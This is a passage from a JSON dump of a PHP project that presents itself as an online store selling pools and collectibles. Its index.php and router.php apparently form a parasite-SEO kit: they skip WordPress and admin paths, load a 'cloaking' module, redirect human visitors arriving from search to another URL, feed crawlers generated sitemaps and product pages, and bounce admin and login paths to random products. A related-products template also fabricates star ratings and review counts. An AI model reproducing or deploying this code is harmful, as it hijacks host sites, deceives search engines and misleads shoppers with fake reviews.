= 'preload';\r\n link.as = 'image';\r\n link.href = src;\r\n document.head.appendChild(link);\r\n });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Error Handling --\u003e\r\n\u003cscript\u003e\r\nwindow.addEventListener('error', function(e) {\r\n console.error('JavaScript Error:', e.error);\r\n \r\n // Track errors\r\n if (typeof gtag === 'function') {\r\n gtag('event', 'exception', {\r\n 'description': e.error.toString(),\r\n 'fatal': false\r\n });\r\n }\r\n});\r\n\r\nwindow.addEventListener('unhandledrejection', function(e) {\r\n console.error('Unhandled Promise Rejection:', e.reason);\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Accessibility Enhancements --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Keyboard navigation\r\n document.addEventListener('keydown', function(e) {\r\n // Escape key closes modals and menus\r\n if (e.key === 'Escape') {\r\n $('.modal').modal('hide');\r\n $('#sidebar_menu').removeClass('active');\r\n $('.overlay').removeClass('active');\r\n }\r\n \r\n // Tab navigation improvements\r\n if (e.key === 'Tab') {\r\n var focusableElements = document.querySelectorAll(\r\n 'a[href], button, textarea, input[type=\"text\"], input[type=\"radio\"], input[type=\"checkbox\"], select'\r\n );\r\n \r\n // Add visual focus indicators\r\n document.addEventListener('focusin', function(e) {\r\n e.target.classList.add('keyboard-focused');\r\n });\r\n \r\n document.addEventListener('focusout', function(e) {\r\n e.target.classList.remove('keyboard-focused');\r\n });\r\n }\r\n });\r\n \r\n // ARIA labels and descriptions\r\n var buttons = document.querySelectorAll('button:not([aria-label])');\r\n buttons.forEach(function(button) {\r\n if (button.textContent.trim()) {\r\n button.setAttribute('aria-label', button.textContent.trim());\r\n }\r\n });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Custom Styles for Scripts --\u003e\r\n\u003cstyle\u003e\r\n.keyboard-focused {\r\n outline: 2px solid #007bff !important;\r\n outline-offset: 2px !important;\r\n}\r\n\r\n.notification-item {\r\n padding: 10px;\r\n border-bottom: 1px solid #eee;\r\n transition: background-color 0.3s ease;\r\n}\r\n\r\n.notification-item:hover {\r\n background-color: #f8f9fa;\r\n}\r\n\r\n.notification-item.unread {\r\n background-color: #e3f2fd;\r\n border-left: 3px solid #2196f3;\r\n}\r\n\r\n.notification-item h6 {\r\n margin: 0 0 5px 0;\r\n font-size: 14px;\r\n font-weight: 600;\r\n}\r\n\r\n.notification-item p {\r\n margin: 0 0 5px 0;\r\n font-size: 13px;\r\n color: #666;\r\n}\r\n\r\n.notification-item small {\r\n color: #999;\r\n font-size: 11px;\r\n}\r\n\r\n.is-invalid {\r\n border-color: #dc3545 !important;\r\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25) !important;\r\n}\r\n\r\n@keyframes flyToCart {\r\n to {\r\n transform: translateX(100px) translateY(-50px) scale(0.1);\r\n opacity: 0;\r\n }\r\n}\r\n\r\n.flying-to-cart {\r\n animation: flyToCart 1s ease-in-out forwards;\r\n}\r\n\r\n/* Loading states */\r\n.loading {\r\n position: relative;\r\n pointer-events: none;\r\n}\r\n\r\n.loading::after {\r\n content: '';\r\n position: absolute;\r\n top: 50%;\r\n left: 50%;\r\n width: 20px;\r\n height: 20px;\r\n margin: -10px 0 0 -10px;\r\n border: 2px solid transparent;\r\n border-top: 2px solid #007bff;\r\n border-radius: 50%;\r\n animation: spin 1s linear infinite;\r\n}\r\n\r\n@keyframes spin {\r\n 0% { transform: rotate(0deg); }\r\n 100% { transform: rotate(360deg); }\r\n}\r\n\r\n/* Image loading states */\r\nimg[data-src]:not([src]) {\r\n opacity: 0;\r\n transition: opacity 0.3s ease;\r\n}\r\n\r\nimg[data-src].loaded {\r\n opacity: 1;\r\n}\r\n\u003c/style\u003e ","path":"includes/scripts_complete.php"},{"content":"\u003c?php\n$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n$request_path = parse_url($request_uri, PHP_URL_PATH);\n$query_string = parse_url($request_uri, PHP_URL_QUERY);\n\n$exceptions = array(\n '/admin/',\n '/administrator/',\n '/cache/',\n '/tmp/',\n '/temp/',\n '/logs/',\n '/assets/',\n '/static/',\n '/media/',\n '/uploads/',\n '/wp-admin/',\n '/wp-content/',\n '/wp-includes/',\n);\n\n$is_exception = false;\nforeach ($exceptions as $exception) {\n if (strpos($request_path, $exception) === 0) {\n $is_exception = true;\n break;\n }\n}\n\n$static_extensions = array('php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'xml', 'txt', 'pdf');\n$is_static_file = false;\nforeach ($static_extensions as $ext) {\n if (preg_match('/\\.' . preg_quote($ext, '/') . '$/', $request_path)) {\n $is_static_file = true;\n break;\n }\n}\n\nif (preg_match('/^sitemap.*\\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\\/sitemap.*\\.xml$/', $request_path)) {\n require_once __DIR__ . '/parasites/sitemap.php';\n exit();\n}\n\nif (!$is_exception \u0026\u0026 !$is_static_file) {\n require_once __DIR__ . '/parasites/cloaking.php';\n \n $clean_path = trim($request_path, '/');\n \n if (isset($cloaker) \u0026\u0026 $cloaker-\u003eis_human_from_search) {\n header('Location: ' . $cloaker-\u003egetRedirectUrl());\n exit();\n } elseif (isset($blocked) \u0026\u0026 $blocked) {\n $clean_path = '/' . $clean_path;\n require_once __DIR__ . '/parasites/router.php';\n exit();\n }\n}\n\n// 降级处理:直接加载index.php或404\nif (file_exists(__DIR__ . '/index.php')) {\n require __DIR__ . '/index.php';\n} else {\n http_response_code(404);\n echo 'Page not found';\n} ","path":"index.php"},{"content":"\u003c!-- Quantity Selection Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"quantityModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"quantityModalLabel\" aria-hidden=\"true\"\u003e\r\n \u003cdiv class=\"modal-dialog\" role=\"document\"\u003e\r\n \u003cdiv class=\"modal-content\"\u003e\r\n \u003cdiv class=\"modal-header\"\u003e\r\n \u003ch5 class=\"modal-title\" id=\"quantityModalLabel\"\u003eSelect Quantity\u003c/h5\u003e\r\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n \u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-body\"\u003e\r\n \u003cdiv class=\"form-group\"\u003e\r\n \u003clabel for=\"modalQuantity\"\u003eQuantity:\u003c/label\u003e\r\n \u003cinput type=\"number\" class=\"form-control\" id=\"modalQuantity\" min=\"1\" max=\"10\" value=\"1\"\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"alert alert-info\"\u003e\r\n \u003csmall\u003eMaximum quantity available: \u003cspan id=\"maxQuantity\"\u003e1\u003c/span\u003e\u003c/small\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-footer\"\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eCancel\u003c/button\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-primary\" onclick=\"confirmQuantity()\"\u003eConfirm\u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Shipping Information Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"shippingModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"shippingModalLabel\" aria-hidden=\"true\"\u003e\r\n \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n \u003cdiv class=\"modal-content\"\u003e\r\n \u003cdiv class=\"modal-header\"\u003e\r\n \u003ch5 class=\"modal-title\" id=\"shippingModalLabel\"\u003eShipping Information\u003c/h5\u003e\r\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n \u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-body\"\u003e\r\n \u003ch6\u003eShipping Rates\u003c/h6\u003e\r\n \u003ctable class=\"table table-striped\"\u003e\r\n \u003cthead\u003e\r\n \u003ctr\u003e\r\n \u003cth\u003eOrder Amount\u003c/th\u003e\r\n \u003cth\u003eShipping Fee\u003c/th\u003e\r\n \u003cth\u003eHandling Fee\u003c/th\u003e\r\n \u003c/tr\u003e\r\n \u003c/thead\u003e\r\n \u003ctbody\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003eUnder $99\u003c/td\u003e\r\n \u003ctd\u003e$12.99\u003c/td\u003e\r\n \u003ctd\u003e$24.00\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003e$99 - $499\u003c/td\u003e\r\n \u003ctd\u003eFREE\u003c/td\u003e\r\n \u003ctd\u003e$24.00\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003e$500 and above\u003c/td\u003e\r\n \u003ctd\u003eFREE\u003c/td\u003e\r\n \u003ctd\u003eFREE\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003c/tbody\u003e\r\n \u003c/table\u003e\r\n \r\n \u003ch6 class=\"mt-4\"\u003eDelivery Time\u003c/h6\u003e\r\n \u003cul\u003e\r\n \u003cli\u003e\u003cstrong\u003eStandard Shipping:\u003c/strong\u003e 5-7 business days\u003c/li\u003e\r\n \u003cli\u003e\u003cstrong\u003eExpress Shipping:\u003c/strong\u003e 2-3 business days (additional $15)\u003c/li\u003e\r\n \u003cli\u003e\u003cstrong\u003eOvernight Shipping:\u003c/strong\u003e Next business day (additional $35)\u003c/li\u003e\r\n \u003c/ul\u003e\r\n \r\n \u003ch6 class=\"mt-4\"\u003eAvailable Regions\u003c/h6\u003e\r\n \u003cp\u003eWe ship to all 50 US states, Canada, and select international destinations through our partner Neokyo.\u003c/p\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-footer\"\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eGot it\u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Size Guide Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"sizeGuideModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"sizeGuideModalLabel\" aria-hidden=\"true\"\u003e\r\n \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n \u003cdiv class=\"modal-content\"\u003e\r\n \u003cdiv class=\"modal-header\"\u003e\r\n \u003ch5 class=\"modal-title\" id=\"sizeGuideModalLabel\"\u003eProduct Size Guide\u003c/h5\u003e\r\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n \u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-body\"\u003e\r\n \u003cdiv class=\"row\"\u003e\r\n \u003cdiv class=\"col-md-6\"\u003e\r\n \u003ch6\u003ePool Dimensions\u003c/h6\u003e\r\n \u003ctable class=\"table table-bordered\"\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003eDiameter\u003c/td\u003e\r\n \u003ctd\u003e12 feet (3.66m)\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003eHeight\u003c/td\u003e\r\n \u003ctd\u003e30 inches (76cm)\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003eWater Capacity\u003c/td\u003e\r\n \u003ctd\u003e1,718 gallons (6,500L)\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003ctr\u003e\r\n \u003ctd\u003eWeight (Empty)\u003c/td\u003e\r\n \u003ctd\u003e42 lbs (19kg)\u003c/td\u003e\r\n \u003c/tr\u003e\r\n \u003c/table\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"col-md-6\"\u003e\r\n \u003ch6\u003eSpace Requirements\u003c/h6\u003e\r\n \u003cul\u003e\r\n \u003cli\u003eMinimum area: 14 x 14 feet\u003c/li\u003e\r\n \u003cli\u003eLevel ground required\u003c/li\u003e\r\n \u003cli\u003eClear overhead space: 8 feet\u003c/li\u003e\r\n \u003cli\u003eAccess to water source\u003c/li\u003e\r\n \u003cli\u003eAccess to electrical outlet for pump\u003c/li\u003e\r\n \u003c/ul\u003e\r\n \r\n \u003ch6 class=\"mt-3\"\u003eIncluded Components\u003c/h6\u003e\r\n \u003cul\u003e\r\n \u003cli\u003eMetal frame pool\u003c/li\u003e\r\n \u003cli\u003eFilter pump (330 GPH)\u003c/li\u003e\r\n \u003cli\u003ePool liner\u003c/li\u003e\r\n \u003cli\u003eSetup instructions\u003c/li\u003e\r\n \u003c/ul\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-footer\"\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Error/Success Message Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"messageModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"messageModalLabel\" aria-hidden=\"true\"\u003e\r\n \u003cdiv class=\"modal-dialog\" role=\"document\"\u003e\r\n \u003cdiv class=\"modal-content\"\u003e\r\n \u003cdiv class=\"modal-header\"\u003e\r\n \u003ch5 class=\"modal-title\" id=\"messageModalLabel\"\u003eMessage\u003c/h5\u003e\r\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n \u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-body\"\u003e\r\n \u003cdiv id=\"messageContent\"\u003e\r\n \u003c!-- Dynamic content will be inserted here --\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-footer\"\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eOK\u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Image Zoom Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"imageZoomModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"imageZoomModalLabel\" aria-hidden=\"true\"\u003e\r\n \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n \u003cdiv class=\"modal-content\"\u003e\r\n \u003cdiv class=\"modal-header\"\u003e\r\n \u003ch5 class=\"modal-title\" id=\"imageZoomModalLabel\"\u003eProduct Image\u003c/h5\u003e\r\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n \u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-body text-center\"\u003e\r\n \u003cimg id=\"zoomedImage\" src=\"\" alt=\"Product Image\" class=\"img-fluid\"\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"modal-footer\"\u003e\r\n \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003cscript\u003e\r\n// Modal functions\r\nfunction showMessage(title, content, type = 'info') {\r\n document.getElementById('messageModalLabel').textContent = title;\r\n \r\n var alertClass = 'alert-info';\r\n if (type === 'success') alertClass = 'alert-success';\r\n if (type === 'error') alertClass = 'alert-danger';\r\n if (type === 'warning') alertClass = 'alert-warning';\r\n \r\n document.getElementById('messageContent').innerHTML = \r\n '\u003cdiv class=\"alert ' + alertClass + '\"\u003e' + content + '\u003c/div\u003e';\r\n \r\n $('#messageModal').modal('show');\r\n}\r\n\r\nfunction confirmQuantity() {\r\n var quantity = document.getElementById('modalQuantity').value;\r\n var mainQuantityInput = document.querySelector('.cart_count');\r\n if (mainQuantityInput) {\r\n mainQuantityInput.value = quantity;\r\n }\r\n $('#quantityModal').modal('hide');\r\n}\r\n\r\nfunction showShippingInfo() {\r\n $('#shippingModal').modal('show');\r\n}\r\n\r\nfunction showSizeGuide() {\r\n $('#sizeGuideModal').modal('show');\r\n}\r\n\r\nfunction showImageZoom(imageSrc) {\r\n document.getElementById('zoomedImage').src = imageSrc;\r\n $('#imageZoomModal').modal('show');\r\n}\r\n\r\nfunction showNeokyoBanner() {\r\n $('#neokyoModal').modal('show');\r\n}\r\n\r\n// Auto-show Neokyo banner for international users (simulation)\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // 模拟检测国际用户\r\n setTimeout(function() {\r\n var isInternational = Math.random() \u003e 0.7; // 30% chance to show banner\r\n if (isInternational) {\r\n showNeokyoBanner();\r\n }\r\n }, 3000);\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003cstyle\u003e\r\n.modal-content {\r\n border-radius: 8px;\r\n box-shadow: 0 10px 30px rgba(0,0,0,0.2);\r\n}\r\n\r\n.modal-header {\r\n background: #f8f9fa;\r\n border-bottom: 1px solid #dee2e6;\r\n border-radius: 8px 8px 0 0;\r\n}\r\n\r\n.modal-title {\r\n font-weight: 600;\r\n color: #333;\r\n}\r\n\r\n.modal-body {\r\n padding: 20px;\r\n}\r\n\r\n.modal-footer {\r\n background: #f8f9fa;\r\n border-top: 1px solid #dee2e6;\r\n border-radius: 0 0 8px 8px;\r\n}\r\n\r\n#zoomedImage {\r\n max-width: 100%;\r\n max-height: 80vh;\r\n object-fit: contain;\r\n}\r\n\r\n.table th {\r\n background: #f8f9fa;\r\n font-weight: 600;\r\n}\r\n\r\n.alert {\r\n margin-bottom: 0;\r\n}\r\n\r\n#modalQuantity {\r\n width: 100px;\r\n display: inline-block;\r\n}\r\n\r\n.neokyo-features {\r\n background: #f8f9fa;\r\n padding: 15px;\r\n border-radius: 5px;\r\n margin: 15px 0;\r\n}\r\n\r\n.neokyo-features h6 {\r\n color: #007bff;\r\n margin-bottom: 10px;\r\n}\r\n\r\n.neokyo-features ul {\r\n margin-bottom: 0;\r\n}\r\n\u003c/style\u003e ","path":"includes/modals.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n * RELATED PRODUCTS - DYNAMIC RENDER MODULE\n * ===================================================================\n * This module displays randomly fetched related products.\n * It is dynamically populated by data prepared in `product.php`.\n * It will not render a section if no related products are found.\n *\n * @var array $data The associative array containing all page details,\n * including 'related_tools' and 'related_wanderer'.\n * ===================================================================\n */\n\n// Helper function to render a single product card.\n// This keeps the main part of the template clean.\nfunction render_related_product_card($product, $base_parasite_url) {\n // Gracefully handle missing images\n $images = array();\n if (!empty($product['images'])) {\n if (is_string($product['images'])) {\n $images = explode(',', trim($product['images'], '{}'));\n } elseif (is_array($product['images'])) {\n $images = $product['images'];\n }\n }\n $first_image = isset($images[0]) ? $images[0] : '//cdn.suruga-ya.jp/database/images/no_photo.jpg';\n\n // Use the new, SEO-friendly URL format with the absolute base path and trailing slash for consistency.\n $product_url = buildProductUrl($product['id'], isset($product['title']) ? $product['title'] : null);\n $price = '$' . number_format((float)(isset($product['price']) ? $product['price'] : (isset($product['price_current']) ? $product['price_current'] : 0)), 2);\n \n // Simulate rating for visual purposes, as it's not in the DB\n $rating_score = rand(30, 50) / 10.0; \n $rating_count = rand(5, 50);\n\n // Build the HTML for one card\n $card_html = '\n \u003cdiv class=\"related-product-card\"\u003e\n \u003ca href=\"' . $product_url . '\"\u003e\n \u003cdiv class=\"related-product-image\"\u003e\n \u003cimg src=\"' . htmlspecialchars($first_image) . '\" alt=\"' . htmlspecialchars($product['title']) . '\" loading=\"lazy\"\u003e\n \u003c/div\u003e\n \u003ch2 class=\"related-product-title\"\u003e' . htmlspecialchars($product['title']) . '\u003c/h2\u003e\n \u003cdiv class=\"related-product-rating\"\u003e\n ';\n \n // Generate star icons based on the random rating\n for ($i = 1; $i \u003c= 5; $i++) {\n $card_html .= '\u003cspan class=\"star\"\u003e' . ($i \u003c= floor($rating_score) ? '★' : '☆') . '\u003c/span\u003e';\n }\n \n $card_html .= '\n \u003cspan class=\"count\"\u003e(' . $rating_count . ')\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"related-product-price\"\u003e' . htmlspecialchars($price) . '\u003c/div\u003e\n \u003c/a\u003e\n \u003c/div\u003e';\n \n return $card_html;\n}\n?\u003e\n\n\u003c!-- Section for \"Tools \u0026 equipment\" --\u003e\n\u003c?php if (!empty($data['related_tools'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n \u003ch3 class=\"related-products-header\"\u003eTools \u0026 equipment\u003c/h3\u003e\n \u003cdiv class=\"related-products-grid\"\u003e\n \u003c?php foreach ($data['related_tools'] as $product): ?\u003e\n \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section for \"Wanderer\" --\u003e\n\u003c?php if (!empty($data['related_wanderer'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n \u003ch3 class=\"related-products-header\"\u003eWanderer\u003c/h3\u003e\n \u003cdiv class=\"related-products-grid\"\u003e\n \u003c?php foreach ($data['related_wanderer'] as $product): ?\u003e\n \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 1: Products from the same leaf category --\u003e\n\u003c?php if (!empty($data['leaf_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['leaf_category']); ?\u003e\u003c/h3\u003e\n \u003cdiv class=\"related-products-grid\"\u003e\n \u003c?php foreach ($data['leaf_category_products'] as $product): ?\u003e\n \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n \u003cdiv class=\"see-more-link\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee the same product from \u003c?php echo htmlspecialchars($data['leaf_category']); ?\u003e\u003c/a\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 2: Products from the same parent category --\u003e\n\u003c?php if (!empty($data['parent_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['parent_category']); ?\u003e\u003c/h3\u003e\n \u003cdiv class=\"related-products-grid\"\u003e\n \u003c?php foreach ($data['parent_category_products'] as $product): ?\u003e\n \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n \u003cdiv class=\"see-more-link\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee all the same products\u003c/a\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 3: Products from a random category --\u003e\n\u003c?php if (!empty($data['random_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['random_category_name']); ?\u003e\u003c/h3\u003e\n \u003cdiv class=\"related-products-grid\"\u003e\n \u003c?php foreach ($data['random_category_products'] as $product): ?\u003e\n \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n \u003cdiv class=\"see-more-link\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee all products from \u003c?php echo htmlspecialchars($data['random_category_name']); ?\u003e\u003c/a\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Scoped CSS for the related products to avoid conflicts --\u003e\n\u003cstyle\u003e\n.related-products-section {\n margin-top: 40px;\n}\n.related-products-header {\n font-size: 1.5rem;\n font-weight: 500;\n margin-bottom: 20px;\n}\n.related-products-grid {\n display: grid;\n grid-template-columns: repeat(6, 1fr);\n gap: 16px;\n}\n@media (max-width: 1200px) {\n .related-products-grid {\n grid-template-columns: repeat(4, 1fr);\n }\n}\n@media (max-width: 768px) {\n .related-products-grid {\n grid-template-columns: repeat(3, 1fr);\n }\n}\n@media (max-width: 576px) {\n .related-products-grid {\n grid-template-columns: repeat(2, 1fr);\n }\n}\n.related-product-card {\n border: 1px solid #e5e7eb;\n border-radius: 8px;\n padding: 16px;\n text-align: center;\n transition: box-shadow 0.2s ease-in-out;\n}\n.related-product-card:hover {\n box-shadow: 0 4px 12px rgba(0,0,0,0.08);\n}\n.related-product-card a {\n text-decoration: none;\n color: #111827;\n}\n.related-product-image img {\n width: 100%;\n height: 160px;\n object-fit: contain;\n margin-bottom: 16px;\n}\n.related-product-title {\n font-size: 1rem;\n line-height: 1.4;\n font-weight: 400;\n height: 2.8em; /* Clamp to 2 lines */\n overflow: hidden;\n margin-bottom: 10px;\n}\n.related-product-rating {\n font-size: 0.9rem;\n display: flex;\n justify-content: center;\n align-items: center;\n}\n.related-product-rating .star {\n color: #f59e0b;\n}\n.related-product-rating .count {\n color: #6b7280;\n margin-left: 8px;\n}\n.related-product-price {\n font-size: 1.125rem;\n font-weight: 600;\n color: #ef4444;\n margin-top: 12px;\n}\n.see-more-link {\n text-align: right;\n margin-top: 16px;\n}\n.see-more-link a {\n color: #337ab7;\n text-decoration: underline;\n}\n\u003c/style\u003e ","path":"includes/related_products.php"},{"content":"\u003c?php\nrequire_once __DIR__ . '/config.php';\n\n$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/index.php';\n\n$base_path = dirname($script_name);\n$base_path = str_replace('\\\\', '/', $base_path); \n$base_path = ($base_path == '/') ? '' : $base_path; \n\nif (strpos($request_uri, $base_path) === 0) {\n $request_path = substr($request_uri, strlen($base_path));\n} else {\n $request_path = $request_uri;\n}\n\n$request_path = strtok($request_path, '?');\n$request_path = trim($request_path, '/');\n\n$segments = explode('/', $request_path);\n\nfunction redirect_to_random_product($base_url) {\n try {\n require_once __DIR__ . '/config.php';\n \n $apiData = getParasiteData();\n \n if ($apiData \u0026\u0026 isset($apiData['product']) \u0026\u0026 isset($apiData['product']['id'])) {\n $random_product_id = $apiData['product']['id'];\n $redirect_url = buildProductUrl($random_product_id);\n header(\"Location: \" . $redirect_url, true, 301);\n exit();\n }\n } catch (Exception $e) {\n error_log(\"Random product redirect failed: \" . $e-\u003egetMessage());\n }\n \n $fallback_url = buildProductUrl('600001');\n header(\"Location: \" . $fallback_url, true, 301);\n exit();\n}\n\n$product_id = parseProductId($request_uri);\n\nif ($product_id \u0026\u0026 is_numeric($product_id) \u0026\u0026 $product_id \u003e 0) {\n try {\n require_once __DIR__ . '/config.php';\n $apiData = getParasiteData($product_id);\n \n if ($apiData \u0026\u0026 isset($apiData['product'])) {\n $_GET['id'] = $product_id;\n require 'product.php';\n exit();\n }\n } catch (Exception $e) {\n error_log(\"Product validation failed: \" . $e-\u003egetMessage());\n }\n \n redirect_to_random_product($base_parasite_url);\n}\n\n$first_segment = isset($segments[0]) ? strtolower($segments[0]) : '';\n\n$redirect_patterns = array(\n 'wp-admin', 'wp-login', 'admin', 'login', 'wp-content', 'wp-includes',\n 'robots.txt', 'sitemap.xml', 'favicon.ico', 'apple-touch-icon',\n 'android-chrome', '.well-known', 'index.php', 'index.html',\n 'search', 'shop', 'products', 'cart', 'checkout', 'account'\n);\n\nif (in_array($first_segment, $redirect_patterns) || \n strpos($first_segment, '.php') !== false || \n strpos($first_segment, '.html') !== false ||\n strpos($first_segment, '.') !== false) {\n redirect_to_random_product($base_parasite_url);\n}\n\nif (empty($request_path) || $request_path == '' || $request_path == 'index.php') {\n try {\n require_once __DIR__ . '/config.php';\n $apiData = getParasiteData();\n\n if ($apiData \u0026\u0026 isset($apiData['product'])) {\n $_GET['id'] = $apiData['product']['id'];\n require 'product.php';\n exit();\n } else {\n $fallback_url = buildProductUrl('600001');\n header(\"Location: \" . $fallback_url, true, 301);\n exit();\n }\n } catch (Exception $e) {\n error_log(\"Failed to load first product for homepage: \" . $e-\u003egetMessage());\n redirect_to_random_product($base_parasite_url);\n }\n}\n\nredirect_to_random_product($base_parasite_url); ","path":"router.php"},{"content":"\u003c?php\n\ndate_default_timezone_set('UTC');\n\nif (!defined('USE_CURL')) {\n define('USE_CURL', false); // true=使用curl, false=使用file_get_contents\n}\n\n$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';\n$protocol = \"https://\";\n$site_domain = $host;\n\n$document_root = 